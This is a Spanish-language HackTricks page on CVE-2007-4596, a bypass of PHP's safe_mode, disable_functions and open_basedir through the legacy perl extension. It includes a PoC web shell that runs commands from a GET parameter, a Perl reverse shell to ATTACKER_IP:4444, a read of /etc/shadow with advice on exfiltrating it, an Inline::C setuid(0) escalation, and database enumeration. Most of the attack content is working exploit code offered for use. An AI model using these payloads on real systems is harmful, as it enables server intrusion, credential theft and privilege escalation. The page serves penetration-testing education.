PHP Perl Extension Safe_mode Bypass Exploit
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Antecedentes
El problema registrado como CVE-2007-4596 proviene de la extensión heredada perl de PHP, que incrusta un intérprete Perl completo sin respetar los controles safe_mode, disable_functions o open_basedir de PHP. Cualquier worker de PHP que cargue extension=perl.so obtiene un eval de Perl sin restricciones, por lo que la ejecución de comandos sigue siendo trivial incluso cuando se bloquean todas las primitivas clásicas de creación de procesos de PHP. Aunque safe_mode desapareció en PHP 5.4, muchas pilas de hosting compartido obsoletas y labs vulnerables aún lo incluyen, por lo que este bypass sigue siendo valioso cuando llegas a paneles de control antiguos.
Montar un entorno de prueba en 2025
- La última versión distribuida públicamente (
perl-1.0.1, enero de 2013) apunta a PHP ≥5.0. Descárgala desde PECL, compílala para la rama exacta de PHP que planeas atacar, y cárgala globalmente (php.ini) o mediantedl()(si está permitido). - Receta rápida para laboratorio basado en Debian:
sudo apt install php5.6 php5.6-dev php-pear build-essential
sudo pecl install perl-1.0.1
echo "extension=perl.so" | sudo tee /etc/php/5.6/mods-available/perl.ini
sudo phpenmod perl && sudo systemctl restart apache2
- Durante la explotación confirma su disponibilidad con
var_dump(extension_loaded('perl'));oprint_r(get_loaded_extensions());. Si está ausente, buscaperl.soo abusa de entradasphp.ini/.user.iniescribibles para forzar su carga. - Porque el intérprete vive dentro del worker de PHP, no se necesitan binarios externos: los filtros de salida de red o las listas negras de
proc_openno importan.
PoC original (NetJackal)
From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/, sigue siendo útil para confirmar que la extensión responde a eval:
<?php
if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$perl->eval("system('".$_GET['cmd']."')");
echo "</textarea>";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>";
?>
Mejoras modernas de payload
1. TTY completo sobre TCP
El intérprete embebido puede cargar IO::Socket incluso si /usr/bin/perl está bloqueado:
$perl = new perl();
$payload = <<<'PL'
use IO::Socket::INET;
my $c = IO::Socket::INET->new(PeerHost=>'ATTACKER_IP',PeerPort=>4444,Proto=>'tcp');
open STDIN, '<&', $c;
open STDOUT, '>&', $c;
open STDERR, '>&', $c;
exec('/bin/sh -i');
PL;
$perl->eval($payload);
2. File-System Escape Incluso con open_basedir
Perl ignora open_basedir de PHP, por lo que puedes leer archivos arbitrarios:
$perl = new perl();
$perl->eval('open(F,"/etc/shadow") || die $!; print while <F>; close F;');
Enruta la salida a través de IO::Socket::INET o Net::HTTP para exfiltrate data sin tocar los descriptores gestionados por PHP.
3. Inline Compilation for Privilege Escalation
Si Inline::C existe a nivel del sistema, compila helpers dentro de la petición sin depender de ffi o pcntl de PHP:
$perl = new perl();
$perl->eval(<<<'PL'
use Inline C => 'DATA';
print escalate();
__DATA__
__C__
char* escalate(){ setuid(0); system("/bin/bash -c 'id; cat /root/flag'"); return ""; }
PL
);
4. Living-off-the-Land Enumeration
Trata a Perl como un LOLBAS toolkit—p. ej., volcar DSNs de MySQL incluso si mysqli falta:
$perl = new perl();
$perl->eval('use DBI; @dbs = DBI->data_sources("mysql"); print join("\n", @dbs);');
Referencias
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks

